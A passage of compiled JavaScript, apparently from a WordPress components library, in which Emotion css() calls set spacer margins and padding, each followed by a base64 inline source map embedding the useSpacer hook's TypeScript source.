RcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(marginY) && /* @__PURE__ */ css("margin-bottom:", space(marginY), ";margin-top:", space(marginY), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZ0RNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(marginX) && /* @__PURE__ */ css("margin-left:", space(marginX), ";margin-right:", space(marginX), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBcURNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(marginTop) && /* @__PURE__ */ css("margin-top:", space(marginTop), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBMERNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRwYWRkaW5nTGVmdDogc3BhY2UoIHBhZGRpbmdMZWZ0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdSaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0cGFkZGluZ1JpZ2h0OiBzcGFjZSggcGFkZGluZ1JpZ2h0ICksXG5cdFx0XHR9ICkoKSxcblx0XHRjbGFzc05hbWVcblx0KTtcblxuXHRyZXR1cm4geyAuLi5vdGhlclByb3BzLCBjbGFzc05hbWU6IGNsYXNzZXMgfTtcbn1cbiJdfQ== */"), isDefined(marginBottom) && /* @__PURE__ */ css("margin-bottom:", space(marginBottom), ";" + (false ? "" : ";label:classes;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBOERNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHVzZUNvbnRleHRTeXN0ZW0gfSBmcm9tICcuLi9jb250ZXh0JztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgcnRsLCB1c2VDeCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3BhY2VyUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZnVuY3Rpb24gaXNEZWZpbmVkPCBUID4oIG86IFQgKTogbyBpcyBFeGNsdWRlPCBULCBudWxsIHwgdW5kZWZpbmVkID4ge1xuXHRyZXR1cm4gdHlwZW9mIG8gIT09ICd1bmRlZmluZWQnICYmIG8gIT09IG51bGw7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VTcGFjZXIoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczwgU3BhY2VyUHJvcHMsICdkaXYnID5cbikge1xuXHRjb25zdCB7XG5cdFx0Y2xhc3NOYW1lLFxuXHRcdG1hcmdpbixcblx0XHRtYXJnaW5Cb3R0b20gPSAyLFxuXHRcdG1hcmdpbkxlZnQsXG5cdFx0bWFyZ2luUmlnaHQsXG5cdFx0bWFyZ2luVG9wLFxuXHRcdG1hcmdpblgsXG5cdFx0bWFyZ2luWSxcblx0XHRwYWRkaW5nLFxuXHRcdHBhZGRpbmdCb3R0b20sXG5cdFx0cGFkZGluZ0xlZnQsXG5cdFx0cGFkZGluZ1JpZ2h0LFxuXHRcdHBhZGRpbmdUb3AsXG5cdFx0cGFkZGluZ1gsXG5cdFx0cGFkZGluZ1ksXG5cdFx0Li4ub3RoZXJQcm9wc1xuXHR9ID0gdXNlQ29udGV4dFN5c3RlbSggcHJvcHMsICdTcGFjZXInICk7XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSBjeChcblx0XHRpc0RlZmluZWQoIG1hcmdpbiApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbjogJHsgc3BhY2UoIG1hcmdpbiApIH07XG5cdFx0XHRgLFxuXHRcdGlzRGVmaW5lZCggbWFyZ2luWSApICYmXG5cdFx0XHRjc3NgXG5cdFx0XHRcdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCBtYXJnaW5ZICkgfTtcblx0XHRcdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIG1hcmdpblkgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIG1hcmdpblggKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIG1hcmdpblggKSB9O1xuXHRcdFx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCBtYXJnaW5YICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Ub3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggbWFyZ2luVG9wICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5Cb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggbWFyZ2luQm90dG9tICkgfTtcblx0XHRcdGAsXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5MZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1xuXHRcdFx0XHRtYXJnaW5MZWZ0OiBzcGFjZSggbWFyZ2luTGVmdCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBtYXJnaW5SaWdodCApICYmXG5cdFx0XHRydGwoIHtcblx0XHRcdFx0bWFyZ2luUmlnaHQ6IHNwYWNlKCBtYXJnaW5SaWdodCApLFxuXHRcdFx0fSApKCksXG5cdFx0aXNEZWZpbmVkKCBwYWRkaW5nICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIHBhZGRpbmcgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdZICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBwYWRkaW5nWSApIH07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggcGFkZGluZ1kgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdYICkgJiZcblx0XHRcdGNzc2Bcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggcGFkZGluZ1ggKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdUb3AgKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIHBhZGRpbmdUb3AgKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdCb3R0b20gKSAmJlxuXHRcdFx0Y3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogJHsgc3BhY2UoIHBhZGRpbmdCb3R0b20gKSB9O1xuXHRcdFx0YCxcblx0XHRpc0RlZmluZWQoIHBhZGRpbmdMZWZ0ICkgJiZcblx0XHRcdHJ0bCgge1